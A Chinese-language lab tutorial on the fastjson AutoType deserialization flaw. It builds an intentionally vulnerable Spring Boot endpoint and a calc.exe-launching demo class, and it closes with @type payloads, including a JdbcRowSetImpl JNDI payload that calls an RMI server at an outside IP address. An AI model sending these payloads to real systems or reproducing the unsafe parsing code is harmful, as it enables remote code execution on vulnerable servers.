fastjson反序列化漏洞

FastJson 库是 Java 的一个 Json 库,其作用是将 Java 对象转换成 json 数据来表示,也可以将 json 数据转换成 Java 对象。

Fastjson 的漏洞本质还是一个 java 的反序列化漏洞,由于引进了 AutoType 功能,fastjson 在对 json 字符串反序列化的时候,会读取到 @type 的内容,将 json 内容反序列化为 java 对象并调用这个类的 setter 方法。

为什么引入 AutoType 功能

答:为了解决序列化机制未正确处理多态类型时,导致反序列化无法还原原始对象。

假设有一个接口 Fruit,它有两个实现类

class Apple implements Fruit {
    private int price;
    //省略 setter/getter、toString等
}
 
class Banana implements Fruit {
    private int price;
    //省略 setter/getter、toString等
}

// 这样调用
Fruit fruit = new Apple();  // 接口引用指向子类对象
Fruit fruit = new Banana();  // 接口引用指向子类对象

将 fruit 对象序列化之后,得到 json 数据,但是将 json 再反序列化生成 java 对象的时候,无法区分原始类是 apple 还是 banana。

// 猜猜哪个价格是苹果的,哪个是香蕉的
{"Fruit":{"price":1}}
{"Fruit":{"price":2}}

为了解决上述问题: fastjson 引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来。使用 @type 的键记录原始类型,在本例中,引入 AutoType 后,Apple 类对象序列化为 json 格式后为:

{ "fruit":{ "@type":"com.test.Apple", "price":2 } }

这样在反序列化的时候就可以区分原始的类了

fastjson 漏洞靶场搭建

搭建靶场环境:Windows 环境,使用 idea 工具,java 版本为 8u11(高版本 java 对 rmi 做了限制),Spring Boot 框架,使用 maven 引入 fastjson 依赖。

定义一个 Person 类

package top.lanhuli.demo1;  
  
public class Person {  
    public int id;  
    public String name;  
    public int age;  
  
    public Person(int id, String name, int age) {  
        this.id = id;  
        this.name = name;  
        this.age = age;  
        System.out.println("调用有参构造方法");  
    }  
  
    public Person() {  
        System.out.println("调用无参构造方法");  
    }  
  
    public int getId() {  
        System.out.println("调用getId方法");  
        return id;  
    }  
  
    public void setId(int id) {  
        this.id = id;  
        System.out.println("调用setId方法");  
    }  
  
    public String getName() {  
        System.out.println("调用getName方法");  
        return name;  
    }  
  
    public void setName(String name) {  
        this.name = name;  
        System.out.println("调用setName方法");  
    }  
  
    public int getAge() {  
        System.out.println("调用getAge方法");  
        return age;  
    }  
  
    public void setAge(int age) {  
        this.age = age;  
        System.out.println("调用setAge方法");  
    }  
  
    @Override  
    public String toString() {  
        return "person{" +  
                "id=" + id +  
                ", name='" + name + '\'' +  
                ", age=" + age +  
                '}';  
    }  
}

Hacker 恶意类,其中 get 方法执行命令

package top.lanhuli.demo2;  
  
import java.io.IOException;  
  
public class Hacker {  
    String hi = "";  
  
    public Hacker(String hi) {  
        this.hi = hi;  
    }  
  
    public Hacker() {  
    }  
  
    public String getHi() throws IOException {  
        System.out.println("调用了Hacker恶意类的 getHi 方法");  
        Runtime.getRuntime().exec("calc.exe");  
        return hi;  
    }  
  
    public void setHi(String hi) {  
        System.out.println("调用了Hacker恶意类的 setHi 方法");  
        this.hi = hi;  
    }  
  
    @Override  
    public String toString() {  
        return "Hacker{" +  
                "hi='" + hi + '\'' +  
                '}';  
    }  
}

前端代码,其实可以不用,直接用 burp 发包也一样

<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>fastjson1.2.24版本漏洞测试</title>
  <style>
    * {
      box-sizing: border-box;
      margin: 0;
      padding: 0;
      font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
    }

    body {
      background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%);
      min-height: 100vh;
      display: flex;
      justify-content: center;
      align-items: center;
      padding: 20px;
    }

    .container {
      background-color: white;
      border-radius: 12px;
      box-shadow: 0 10px 30px rgba(0, 0, 0, 0.15);
      width: 100%;
      max-width: 500px;
      overflow: hidden;
    }

    .header {
      background: #4b6cb7;
      background: linear-gradient(to right, #182848, #4b6cb7);
      color: white;
      padding: 25px 30px;
      text-align: center;
    }

    .header h1 {
      font-weight: 600;
      font-size: 24px;
    }

    .form-container {
      padding: 30px;
    }

    .form-group {
      margin-bottom: 20px;
    }

    label {
      display: block;
      margin-bottom: 8px;
      font-weight: 500;
      color: #2d3748;
    }

    input {
      width: 100%;
      padding: 12px 15px;
      border: 1px solid #e2e8f0;
      border-radius: 6px;
      font-size: 16px;
      transition: all 0.3s ease;
    }

    input:focus {
      outline: none;
      border-color: #4b6cb7;
      box-shadow: 0 0 0 3px rgba(75, 108, 183, 0.2);
    }

    button {
      width: 100%;
      padding: 14px;
      background: #4b6cb7;
      background: linear-gradient(to right, #182848, #4b6cb7);
      color: white;
      border: none;
      border-radius: 6px;
      font-size: 16px;
      font-weight: 600;
      cursor: pointer;
      transition: all 0.3s ease;
    }

    button:hover {
      transform: translateY(-2px);
      box-shadow: 0 4px 12px rgba(75, 108, 183, 0.4);
    }

    button:active {
      transform: translateY(0);
    }

    .response-container {
      margin-top: 25px;
      padding: 20px;
      background-color: #f8fafc;
      border-radius: 8px;
      border-left: 4px solid #4b6cb7;
    }

    .response-title {
      font-weight: 600;
      margin-bottom: 10px;
      color: #2d3748;
    }

    pre {
      white-space: pre-wrap;
      word-break: break-all;
      font-size: 14px;
      color: #4a5568;
      background: #edf2f7;
      padding: 12px;
      border-radius: 4px;
      max-height: 200px;
      overflow-y: auto;
    }

    .status {
      display: inline-block;
      padding: 4px 8px;
      border-radius: 4px;
      font-size: 14px;
      font-weight: 500;
      margin-top: 10px;
    }

    .status.success {
      background-color: #c6f6d5;
      color: #2f855a;
    }

    .status.error {
      background-color: #fed7d7;
      color: #c53030;
    }

    .json-preview {
      margin-top: 20px;
      padding: 15px;
      background-color: #f8fafc;
      border-radius: 8px;
    }

    .json-preview-title {
      font-weight: 600;
      margin-bottom: 10px;
      color: #2d3748;
    }
  </style>
</head>
<body>
<div class="container">
  <div class="header">
    <h1>发送JSON数据到后端</h1>
  </div>

  <div class="form-container">
    <form id="jsonForm">
      <div class="form-group">
        <label for="id">ID</label>
        <input type="text" id="id" name="id" placeholder="请输入ID" required>
      </div>

      <div class="form-group">
        <label for="name">姓名</label>
        <input type="text" id="name" name="name" placeholder="请输入姓名" required>
      </div>

      <div class="form-group">
        <label for="age">年龄</label>
        <input type="number" id="age" name="age" placeholder="请输入年龄" min="1" max="120" required>
      </div>

      <button type="submit">发送JSON数据</button>
    </form>

    <div class="json-preview">
      <div class="json-preview-title">将要发送的JSON数据:</div>
      <pre id="jsonPreview">{"id": "", "name": "", "age": ""}</pre>
    </div>

    <div class="response-container">
      <div class="response-title">后端响应:</div>
      <pre id="response">等待发送数据...</pre>
      <div id="status" class="status"></div>
    </div>
  </div>
</div>

<script>
  document.addEventListener('DOMContentLoaded', function() {
    const form = document.getElementById('jsonForm');
    const jsonPreview = document.getElementById('jsonPreview');
    const responseElement = document.getElementById('response');
    const statusElement = document.getElementById('status');

    // 获取所有输入字段
    const inputs = form.querySelectorAll('input');

    // 更新JSON预览
    function updateJsonPreview() {
      const formData = {
        id: document.getElementById('id').value,
        name: document.getElementById('name').value,
        age: document.getElementById('age').value
      };

      jsonPreview.textContent = JSON.stringify(formData, null, 2);
    }

    // 为所有输入字段添加事件监听
    inputs.forEach(input => {
      input.addEventListener('input', updateJsonPreview);
    });

    // 初始更新一次预览
    updateJsonPreview();

    // 表单提交事件处理
    form.addEventListener('submit', async function(event) {
      event.preventDefault(); // 阻止表单默认提交行为

      // 获取表单数据
      const formData = {
        id: document.getElementById('id').value,
        name: document.getElementById('name').value,
        age: document.getElementById('age').value
      };

      // 显示"发送中"状态
      responseElement.textContent = "发送中...";
      statusElement.textContent = "";
      statusElement.className = "status";

      try {
        // 发送POST请求到后端
        const response = await fetch('/houduan', {
          method: 'POST',
          headers: {
            'Content-Type': 'application/json',
          },
          body: JSON.stringify(formData)
        });

        // 检查响应状态
        if (!response.ok) {
          throw new Error(`HTTP错误! 状态: ${response.status}`);
        }

        // 解析响应数据
        const data = await response.json();

        // 显示响应数据
        responseElement.textContent = JSON.stringify(data, null, 2);
        statusElement.textContent = "成功! 状态码: " + response.status;
        statusElement.className = "status success";
      } catch (error) {
        // 显示错误信息
        responseElement.textContent = "错误: " + error.message;
        statusElement.textContent = "请求失败";
        statusElement.className = "status error";
        console.error('发送数据时出错:', error);
      }
    });
  });
</script>
</body>
</html>

后端代码:两个接口分别为 /houduan/houduan2

package top.lanhuli.demo2;

import com.alibaba.fastjson.JSON;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class Test01 {
    @PostMapping("/houduan")
    public String houduan1(@RequestBody String jsonStr){
        try {
            // 危险:直接解析用户输入的 JSON
            Object obj = JSON.parse(jsonStr);  // 通常不调用 getter 方法
            return "数据接收成功: " + obj.toString();
        } catch (Exception e) {
            return "错误: " + e.getMessage();
        }
        // System.out.println("接收到用户数据: " + person.toString());
        // return "成功接收用户: " + person.getName();
    }

    @PostMapping("/houduan2")
    public String houduan2(@RequestBody String jsonStr){
        try {
            // 危险:直接解析用户输入的 JSON
            Object obj = JSON.parseObject(jsonStr);  // 既调用 setter 也调用 getter
            return "数据接收成功: " + obj.toString();
        } catch (Exception e) {
            return "错误: " + e.getMessage();
        }
        // System.out.println("接收到用户数据: " + person.toString());
        // return "成功接收用户: " + person.getName();
    }
}

测试一下,可以正常运行

上 payload 试一下,可以弹出计算器

简单讲解这个靶场:top.lanhuli.demo2.Hacker 是事先写好的一个恶意类,仅作演示使用,实际环境不可能会让你上传一个 java 代码文件,一般的 fastjson 漏洞利用是通过 rmi 或者 ladp 方法利用。

{
    "b":{
        "@type":"top.lanhuli.demo2.Hacker"
    }
}


{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://8.140.21.107:8085/EeGGTEBH",
        "autoCommit":true
    }
}